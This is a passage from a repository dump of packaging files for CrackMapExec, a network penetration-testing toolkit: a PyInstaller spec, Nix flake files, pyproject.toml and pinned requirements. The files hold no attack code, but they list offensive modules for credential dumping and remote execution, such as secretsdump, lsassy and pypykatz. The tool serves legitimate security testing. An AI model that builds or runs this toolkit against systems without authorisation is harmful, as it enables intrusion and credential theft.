datas=[('./cme/protocols', 'cme/protocols'),('./cme/data', 'cme/data'),('./cme/modules', 'cme/modules')], 10 | hiddenimports=['cme.protocols.mssql.mssqlexec', 'cme.connection', 'impacket.examples.secretsdump', 'impacket.dcerpc.v5.lsat', 'impacket.dcerpc.v5.transport', 'impacket.dcerpc.v5.lsad', 'cme.servers.smb', 'cme.protocols.smb.wmiexec', 'cme.protocols.smb.atexec', 'cme.protocols.smb.smbexec', 'cme.protocols.smb.mmcexec', 'cme.protocols.smb.smbspider', 'cme.protocols.smb.passpol', 'paramiko', 'pypsrp.client', 'pywerview.cli.helpers', 'impacket.tds', 'impacket.version', 'cme.helpers.bash', 'pylnk3', 'lsassy','win32timezone', 'impacket.tds', 'impacket.ldap.ldap', 'impacket.tds'], 11 | hookspath=['./cme/.hooks'], 12 | runtime_hooks=[], 13 | excludes=[], 14 | win_no_prefer_redirects=False, 15 | win_private_assemblies=False, 16 | cipher=block_cipher, 17 | noarchive=False) 18 | pyz = PYZ(a.pure, a.zipped_data, 19 | cipher=block_cipher) 20 | exe = EXE(pyz, 21 | a.scripts, 22 | a.binaries, 23 | a.zipfiles, 24 | a.datas, 25 | [], 26 | name='crackmapexec', 27 | debug=False, 28 | bootloader_ignore_signals=False, 29 | strip=False, 30 | upx=True, 31 | upx_exclude=[], 32 | runtime_tmpdir=None, 33 | console=True, 34 | icon='./cme/data/cme.ico' ) 35 | -------------------------------------------------------------------------------- /flake.lock: -------------------------------------------------------------------------------- 1 | { 2 | "nodes": { 3 | "flake-utils": { 4 | "locked": { 5 | "lastModified": 1649676176, 6 | "narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=", 7 | "owner": "numtide", 8 | "repo": "flake-utils", 9 | "rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678", 10 | "type": "github" 11 | }, 12 | "original": { 13 | "owner": "numtide", 14 | "repo": "flake-utils", 15 | "type": "github" 16 | } 17 | }, 18 | "flake-utils_2": { 19 | "locked": { 20 | "lastModified": 1649676176, 21 | "narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=", 22 | "owner": "numtide", 23 | "repo": "flake-utils", 24 | "rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678", 25 | "type": "github" 26 | }, 27 | "original": { 28 | "owner": "numtide", 29 | "repo": "flake-utils", 30 | "type": "github" 31 | } 32 | }, 33 | "nixpkgs": { 34 | "locked": { 35 | "lastModified": 1651248272, 36 | "narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=", 37 | "owner": "NixOS", 38 | "repo": "nixpkgs", 39 | "rev": "8758d58df0798db2b29484739ca7303220a739d3", 40 | "type": "github" 41 | }, 42 | "original": { 43 | "owner": "NixOS", 44 | "repo": "nixpkgs", 45 | "type": "github" 46 | } 47 | }, 48 | "nixpkgs_2": { 49 | "locked": { 50 | "lastModified": 1651248272, 51 | "narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=", 52 | "owner": "NixOS", 53 | "repo": "nixpkgs", 54 | "rev": "8758d58df0798db2b29484739ca7303220a739d3", 55 | "type": "github" 56 | }, 57 | "original": { 58 | "owner": "NixOS", 59 | "repo": "nixpkgs", 60 | "type": "github" 61 | } 62 | }, 63 | "poetry2nix": { 64 | "inputs": { 65 | "flake-utils": "flake-utils_2", 66 | "nixpkgs": "nixpkgs_2" 67 | }, 68 | "locked": { 69 | "lastModified": 1651165059, 70 | "narHash": "sha256-/psJg8NsEa00bVVsXiRUM8yL/qfu05zPZ+jJzm7hRTo=", 71 | "owner": "nix-community", 72 | "repo": "poetry2nix", 73 | "rev": "ece2a41612347a4fe537d8c0a25fe5d8254835bd", 74 | "type": "github" 75 | }, 76 | "original": { 77 | "owner": "nix-community", 78 | "repo": "poetry2nix", 79 | "type": "github" 80 | } 81 | }, 82 | "root": { 83 | "inputs": { 84 | "flake-utils": "flake-utils", 85 | "nixpkgs": "nixpkgs", 86 | "poetry2nix": "poetry2nix" 87 | } 88 | } 89 | }, 90 | "root": "root", 91 | "version": 7 92 | } 93 | -------------------------------------------------------------------------------- /flake.nix: -------------------------------------------------------------------------------- 1 | { 2 | description = "Application packaged using poetry2nix"; 3 | 4 | inputs.flake-utils.url = "github:numtide/flake-utils"; 5 | inputs.nixpkgs.url = "github:NixOS/nixpkgs"; 6 | inputs.poetry2nix.url = "github:nix-community/poetry2nix"; 7 | 8 | outputs = { self, nixpkgs, flake-utils, poetry2nix }: 9 | { 10 | # Nixpkgs overlay providing the application 11 | overlay = nixpkgs.lib.composeManyExtensions [ 12 | poetry2nix.overlay 13 | (final: prev: { 14 | # The application 15 | CrackMapExec = prev.poetry2nix.mkPoetryApplication { 16 | projectDir = ./.; 17 | }; 18 | }) 19 | ]; 20 | } // (flake-utils.lib.eachDefaultSystem (system: 21 | let 22 | pkgs = import nixpkgs { 23 | inherit system; 24 | overlays = [ self.overlay ]; 25 | }; 26 | in 27 | { 28 | apps = { 29 | CrackMapExec = pkgs.CrackMapExec; 30 | }; 31 | 32 | defaultApp = pkgs.CrackMapExec; 33 | 34 | packages = { CrackMapExec = pkgs.CrackMapExec; }; 35 | })); 36 | } 37 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "crackmapexec" 3 | version = "5.3.0" 4 | description = "A swiss army knife for pentesting networks" 5 | authors = ["Marcello Salvati ", "Martial Puygrenier "] 6 | readme = "README.md" 7 | homepage = "https://github.com/Porchetta-Industries/CrackMapExec" 8 | repository = "https://github.com/Porchetta-Industries/CrackMapExec" 9 | exclude = [] 10 | include = ["LICENSE", "cme/data/*", "cme/modules/*"] 11 | license = "BSD-2-Clause" 12 | classifiers = [ 13 | 'Environment :: Console', 14 | 'License :: OSI Approved :: BSD License', 15 | 'Programming Language :: Python :: 3', 16 | 'Topic :: Security', 17 | ] 18 | packages = [ 19 | { include = "cme"} 20 | ] 21 | 22 | [tool.poetry.scripts] 23 | cme = 'cme.crackmapexec:main' 24 | crackmapexec = 'cme.crackmapexec:main' 25 | cmedb = 'cme.cmedb:main' 26 | 27 | [tool.poetry.dependencies] 28 | python = "^3.7.0" 29 | requests = ">=2.27.1" 30 | beautifulsoup4 = ">=4.11,<5" 31 | lsassy = ">=3.1.3" 32 | termcolor = "^1.1.0" 33 | msgpack = "^1.0.0" 34 | neo4j = "^4.1.1" 35 | pylnk3 = "^0.4.2" 36 | pypsrp = "^0.7.0" 37 | paramiko = "^2.7.2" 38 | impacket = { git = "https://github.com/mpgn/impacket.git", branch = "master" } 39 | dsinternals = "^1.2.4" 40 | xmltodict = "^0.12.0" 41 | terminaltables = "^3.1.0" 42 | aioconsole = "^0.3.3" 43 | pywerview = "^0.3.3" 44 | aardwolf = "^0.0.8" 45 | 46 | 47 | [tool.poetry.dev-dependencies] 48 | flake8 = "*" 49 | pylint = "*" 50 | shiv = "*" 51 | black = "^20.8b1" 52 | 53 | [build-system] 54 | requires = ["poetry-core>=1.0.0"] 55 | build-backend = "poetry.core.masonry.api" 56 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | aardwolf==0.0.8; python_version >= "3.7" 2 | aesedb==0.0.5; python_version >= "3.6" 3 | aioconsole==0.3.3; python_version >= "3.6" 4 | aiosmb==0.3.8; python_version >= "3.7" 5 | aiowinreg==0.0.7; python_version >= "3.6" 6 | arc4==0.2.0; python_version >= "3.7" 7 | asn1crypto==1.5.1; python_version >= "3.7" 8 | asn1tools==0.163.0; python_version >= "3.7" 9 | asysocks==0.1.7; python_version >= "3.7" 10 | bcrypt==3.2.2; python_version >= "3.6" 11 | beautifulsoup4==4.11.1; python_full_version >= "3.6.0" 12 | bitstruct==8.15.1; python_version >= "3.7" 13 | bs4==0.0.1 14 | certifi==2022.6.15; python_version >= "3.7" and python_version < "4" 15 | cffi==1.15.1; python_version >= "3.6" and python_version < "4.0" 16 | chardet==5.0.0; python_version >= "3.6" 17 | charset-normalizer==2.1.0; python_version >= "3.7" and python_version < "4" and python_full_version >= "3.6.0" 18 | click==8.1.3; python_version >= "3.7" 19 | colorama==0.4.5; python_version >= "3.7" and python_full_version < "3.0.0" and platform_system == "Windows" or python_full_version >= "3.5.0" and python_version >= "3.7" and platform_system == "Windows" 20 | commonmark==0.9.1; python_full_version >= "3.6.3" and python_full_version < "4.0.0" and python_version >= "3.6" 21 | cryptography==37.0.4; python_version >= "3.6" and python_version < "4.0" 22 | diskcache==5.4.0; python_version >= "3.7" 23 | dnspython==2.2.1; python_version >= "3.6" and python_version < "4.0" 24 | dsinternals==1.2.4; python_version >= "3.4" 25 | flask==2.1.2; python_version >= "3.7" 26 | future==0.18.2; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.3.0" and python_version >= "3.6" 27 | idna==3.3; python_version >= "3.7" and python_version < "4" 28 | impacket @ git+https://github.com/mpgn/impacket.git@master 29 | importlib-metadata==4.2.0; python_version < "3.8" and python_version >= "3.7" 30 | itsdangerous==2.1.2; python_version >= "3.7" 31 | jinja2==3.1.2; python_version >= "3.7" 32 | ldap3==2.9.1; python_version >= "3.6" 33 | ldapdomaindump==0.9.3; python_version >= "3.6" 34 | lsassy==3.1.3; python_version >= "3.6" 35 | lxml==4.9.1; python_version >= "2.7" and python_full_version < "3.0.0" or python_full_version >= "3.5.0" 36 | markupsafe==2.1.1; python_version >= "3.7" 37 | minidump==0.0.21; python_version >= "3.6" 38 | minikerberos==0.2.20; python_version >= "3.7" 39 | msgpack==1.0.4 40 | msldap==0.3.38; python_version >= "3.7" 41 | neo4j==4.4.4; python_version >= "3.6" 42 | netaddr==0.8.0; python_version >= "3.6" 43 | oscrypto==1.3.0; python_version >= "3.7" 44 | paramiko==2.11.0 45 | pillow==9.2.0; python_version >= "3.7" 46 | prompt-toolkit==3.0.30; python_full_version >= "3.6.2" and python_version >= "3.7" 47 | pyasn1==0.4.8; python_version >= "3.6" 48 | pycparser==2.21; python_version >= "3.6" and python_full_version < "3.0.0" and python_version < "4.0" or python_version >= "3.6" and python_version < "4.0" and python_full_version >= "3.4.0" 49 | pycryptodomex==3.15.0; python_version >= "3.7" and python_full_version < "3.0.0" or python_full_version >= "3.5.0" and python_version >= "3.7" 50 | pygments==2.12.0; python_full_version >= "3.6.3" and python_full_version < "4.0.0" and python_version >= "3.6" 51 | pylnk3==0.4.2; python_version >= "3.6" 52 | pynacl==1.5.0; python_version >= "3.6" 53 | pyopenssl==22.0.0; python_version >= "3.6" 54 | pyparsing==3.0.9; python_full_version >= "3.6.8" and python_version >= "3.7" 55 | pyperclip==1.8.2; python_version >= "3.7" 56 | pypsrp==0.7.0; python_version >= "3.6" and python_version < "4.0" 57 | pypykatz==0.5.7; python_version >= "3.6" 58 | pyspnego==0.5.2; python_version >= "3.6" and python_version < "4.0" 59 | pytz==2022.1; python_version >= "3.6" 60 | pywerview==0.3.3 61 | requests==2.28.1; python_version >= "3.7" and python_version < "4" 62 | rich==12.4.4; python_full_version >= "3.6.3" and python_full_version < "4.0.0" and python_version >= "3.6" 63 | six==1.16.0; python_version >= "3.7" and python_full_version < "3.0.0" or python_full_version >= "3.3.0" and python_version >= "3.7" 64 | soupsieve==2.3.2.post1; python_version >= "3.6" and python_full_version >= "3.6.0" 65 | termcolor==1.1.0 66 | terminaltables==3.1.10; python_version >= "2.6" 67 | tqdm==4.64.0; python_version >= "3.7" and python_full_version < "3.0.0" or python_full_version >= "3.4.0" and python_version >= "3.7" 68 | typing-extensions==4.3.0; python_full_version >= "3.6.3" and python_full_version < "4.0.0" and python_version >= "3.7" and python_version < "3.8" 69 | unicrypto==0.0.8; python_version >= "3.7" 70 | urllib3==1.26.9; python_version >= "3.7" and python_full_version < "3.0.0" and python_version < "4" or python_full_version >= "3.5.0" and python_version < "4" and python_version >= "3.7" 71 | wcwidth==0.2.5; python_full_version >= "3.6.2" and python_version >= "3.7" 72 | werkzeug==2.1.2; python_version >= "3.7" 73 | winacl==0.1.3; python_version >= "3.7" 74 | winsspi==0.0.10; platform_system == "Windows" and python_version >= "3.7" 75 | xmltodict==0.12.0; (python_version >= "2.7" and python_full_version < "3.0.0") or (python_full_version >= "3.4.0") 76 | zipp==3.8.0; python_version < "3.8" and python_version >= "3.7" 77 | -------------------------------------------------------------------------------- /shell.nix: -------------------------------------------------------------------------------- 1 | { pkgs ? import {} }: 2 | let 3 | myAppEnv = pkgs.poetry2nix.mkPoetryEnv { 4 | projectDir = ./.; 5 | editablePackageSources = { 6 | my-app = ./src; 7 | }; 8 | }; 9 | in myAppEnv.env 10 | --------------------------------------------------------------------------------